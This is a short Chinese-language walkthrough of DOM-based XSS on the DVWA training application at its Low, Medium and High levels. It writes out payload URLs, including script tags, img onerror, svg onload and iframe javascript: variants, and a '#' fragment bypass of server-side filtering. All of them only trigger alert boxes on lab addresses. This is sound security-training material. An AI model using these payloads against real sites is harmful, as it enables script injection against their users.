前言
DVWA上的DOM型XSS与反射型和存储型XSS不同,页面上是没有输入的,所以要直接在URL上实施攻击
一、Low
low级别的代码什么防护都没有,因此直接输入URL:http://192.168.44.1/DVWA/vulnerabilities/xss_d/?default=<script>alert('xss')</script>
二、Medium
Medium级别的代码增加了检查机制,如果输入当中有“<script”就把default设为English阻止XSS注入。但我们可以通过插入其它语句来达到我们的目的。
我们可以构造URL:
http://127.0.0.1/vulnerabilities/xss_d/?default= ></option></select><img src=1 οnerrοr=alert('xss')>
先闭合option再闭合select
如果页面上显示的是一张失败的图片但没有弹窗的话可以更换URL
http://127.0.0.1/vulnerabilities/xss_d/?default= ></option></select><svg/onload=alert(1)>
或者
http://127.0.0.1/vulnerabilities/xss_d/?default= ></option></select><iframe src="javascript:alert(1)"></iframe>
查看页面源代码可以看到我们的代码已经插入进去了,闭合了select标签后执行
三、High
High级别的代码用了一个switch表使我们只能提交规定的内容,但是#注释符可以让服务器端无视#后面的代码从而绕过检测。构造URL:http://192.168.44.1/DVWA/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>
这样这段代码就是写在本地的,每次在下方重新选择language后都会触发这个XSS。而且这段代码不会像low和high一样保存在页面源代码里。